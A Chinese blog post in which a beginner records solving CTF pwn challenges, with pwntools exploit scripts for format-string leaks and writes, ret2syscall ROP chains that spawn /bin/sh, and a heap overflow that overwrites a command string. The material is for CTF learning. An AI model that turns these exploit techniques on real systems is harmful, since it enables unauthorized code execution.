首页 > 其他分享 >CTF学习记录pwn篇

CTF学习记录pwn篇

时间:2024-01-19 11:13:59浏览次数:27  
标签:addr 记录 flag pop p32 CTF ret pwn payload

作为一个CTF初学者,在这里记录自己学习刷题的过程,不定期更新。

此为pwn篇,有关pwn方向的题目会放在这里,目前来说,这篇会主要更新,其他方向也许会有,敬请期待。

目录

一、format string

1.[HUBUCTF 2022 新生赛]fmt - NSSCTF

拿到题目常规checksec

64位,放到IDA中反编译

image-20240115105633380

可知s储存着flag,且存在格式化字符串漏洞

根据s与format在栈上的相对位置计算偏移(0x60-0x40)/8+8=12,然后利用%p泄露内存

#exp
from pwn  import *


p=remote('node5.anna.nssctf.cn',28158)

offset=12
flag=''
while True:
    payload=b'%'+str(offset).encode()+b'$p' #构造格式化字符串
    offset+=1
    p.sendlineafter(b'service',payload)
    p.recvuntil(b'0x')
    flag_part=p.recvuntil(b'\n')[:-1]   #接收%p泄露的内容
    for i in range(len(flag_part),0,-2):
        c=flag_part[i-2:i].ljust(2,b'0')    #注意小端序,八字节对齐
        flag+=chr(int(c,16))
    if '}' in flag:
        break
print(flag)

运行得到flag

image-20240115162857080

​ 关于不能用%12$s直接泄露,因为%s是以参数作为地址找寻该地址的字符串,而本题flag直接在栈上,%s会将其当作地址去找字符串,而该地址显然不存在,则会崩溃。

2.test_format - PolarD&N

image-20240116102559997

image-20240116102638063

格式化字符串修改小数字,修改n的值为4拿到shell

#exp
from pwn import *

p=remote("120.46.59.242",2111)

offset=6
n_addr=0x0804A030

#payload=p32(n_addr)+b'%6$n'			#构造payload
payload=fmtstr_payload(offset,{n_addr:4}) #使用fmtstr_payload模块自动构造payload

p.sendline(payload)

p.interactive()

二、ROP

1.03ret2syscall_32 - PolarD&N

ret2syscall

构造eax=0xb|ebx="/bin/sh"_addr|ecx=0|edx=0,然后执行int 0x80进行系统调用execve("/bin/sh", 0, 0)

ROPgadget --binary 03ret2syscall_32 --string "/bin/sh" 
ROPgadget --binary 03ret2syscall_32 --only "int"
ROPgadget --binary 03ret2syscall_32 --only 'pop|ret' | grep pop
利用ROPgadget查找相应指令
#exp
from pwn import *
#Polar ret2syscall
p=remote("120.46.59.242",2116)

binsh_addr=0x080ea068
int_0x80_addr=0x0806cea3
pop_eax_ret_addr=0x080b8576
pop_edx_ecx_ebx_ret_addr=0x0806f250

payload=b'a'*(0x208+0x4)
payload+=p32(pop_eax_ret_addr)+p32(0xb)
payload+=p32(pop_edx_ecx_ebx_ret_addr)+p32(0)+p32(0)+p32(binsh_addr)
payload+=p32(int_0x80_addr)

p.sendline(payload)

p.interactive()

2.fate - PolarD&N

1.03ret2syscall_32 - PolarD&N相同,ret2syscall

#exp
from pwn import *
#Polar ret2syscall
p=remote("120.46.59.242",2138)

binsh_addr=0x080BC3E0
int_0x80_addr=0x0806d3d3
pop_eax_ret_addr=0x080b8ad6
pop_ebx_edx_ret_addr=0x0806f789
pop_ecx_addr=0x080df5b1
payload=b'a'*(0x6c+0x4)
payload+=p32(pop_eax_ret_addr)+p32(0xb)
payload+=p32(pop_ebx_edx_ret_addr)+p32(binsh_addr)+p32(0)+p32(pop_ecx_addr)+p32(0)
payload+=p32(int_0x80_addr)

p.sendline(payload)

p.interactive()

三、heap

1.[NISACTF 2022]ezheap - NSSCTF

checksec

屏幕截图 2024-01-19 103604.png

IDA

image-20240119104308417

存在堆溢出,通过gets溢出覆盖command为/bin/sh\x00

image-20240119104616263

动态调试输入8个a,可见需要覆盖0xC0-0xA0=0x20个字符

#exp
from pwn import *
p=remote("node5.anna.nssctf.cn",28610)

payload=cyclic(0x20)+b"/bin/sh\x00"
p.sendline(payload)

p.interactive()

标签:addr,记录,flag,pop,p32,CTF,ret,pwn,payload
From: https://www.cnblogs.com/wyxhhh/p/17974184

相关文章

  • 寒训1.11记录
    AtCoderBeginnerContest272-AtCoderA-IntegerSum(赛题目概述求和B-EveryoneisFriends(赛题目概述二维数组记录相互关系即可,数据量少可用\(O(n^3)\)C-MaxEven(赛题目概述从非负整数数列中找出和为偶数,且和最大的两个数解题思路遍历数列,把偶数和奇数放入两个向......
  • BUUCTF—Crypto
    BUUCTF—Crypto1.一眼就解密考点:base64我的解答:字符串后面的等号,看来是base大家族,由字母和数字范围来看是base64,不管了,先扔CyberCher,仙女魔法棒变出flag。 2.MD5考点:MD5我的解答:打开文件出现一串由数字和字母拼出的字符串,MD5的特征:长度为32或16。由题目名提示MD5,得出......
  • [GFCTF 2021]web部分题解(更新中ing)
    [GFCTF2021]Baby_Web拿源码环节:打开环境(◡ᴗ◡✿)乍一看什么都没有,F12下没看到js文件,但是看到了出题师傅的提示:“源码藏在上层目录xxx.php.txt里面,但你怎么才能看到它呢?”这时候在思考文件在上层目录中,既然是目录下那就试一下dirsearch扫描先看看后台都有什么(这里就直接......
  • BeanUtils 的 copyProperties 踩坑记录
    代码示例importorg.apache.commons.beanutils.BeanUtils;publicclassTestBeanUtils{publicstaticvoidmain(String[]args)throwsException{testApacheBeanUtils();testSpringBeanUtils();}privatestaticvoidtestSpringBeanUtil......
  • 记录--Object.assign 这算是深拷贝吗
    这里给大家分享我在网上总结出来的一些知识,希望对大家有所帮助在JavaScript中,Object.assign()是一个用于合并对象属性的常见方法。然而,对于许多开发者来说,关于它是否执行深拷贝的认识可能存在一些混淆。先说答案Object.assign()不属于深拷贝,我们接着往下看。Object.assign(......
  • 关于2023分子植物育种大会随笔记录与思考
    目录智能育种转基因基因编辑育种实践2023年底分子植物育种大会在成都举行,会后要点胡乱记录之。有些来自嘉宾观点,有些是个人思考,杂糅一起,仅供参考。智能育种分子设计育种:形态、生理、基因、等位基因、单倍型、基因组区段、通路、网络、表观组。统言之,生物相关分子皆可设计。科迪华玉......
  • 【SCTF-Round#16】 Web和Crypto详细完整WP
    每天都要加油哦!   ------2024-01-18 11:16:55[NSSRound#16Basic]RCE但是没有完全RCE<?phperror_reporting(0);highlight_file(__file__);include('level2.php');if (isset($_GET['md5_1']) && isset($_GET['md5_2'])) {    if ((str......
  • 使用过滤器记录api接口访问时长并记录日志
    usingERP.Helper;usingERP.Models.User;usingSystem;usingSystem.Diagnostics;usingSystem.Web;usingSystem.Web.Http.Controllers;usingSystem.Web.Http.Filters;usingActionFilterAttribute=System.Web.Http.Filters.ActionFilterAttribute;usingLogger......
  • MoeCTF 2023 Misc
    Misc入门指北下载得到附件,最后给了一段密文bW9lY3Rme2hAdjNfZnVuX0B0X20xNWNfIX0=文中提到有等于多半是base64加密base解密得到flagflag为:moectf{h@v3_fun_@t_m15c_!}打不开的图片1得到题目下载附件下载解压看到f1ag的文件,用010打开发现差一个文件头,补上jpg文件头FF......
  • 记录 | vscode json美化插件JSON Tools
    安装插件JSONTools原来的json的样子:JSONTools美化/格式化快捷键Ctrl+Alt+M(windows)/Command+Option+M(Mac),然后效果如下:......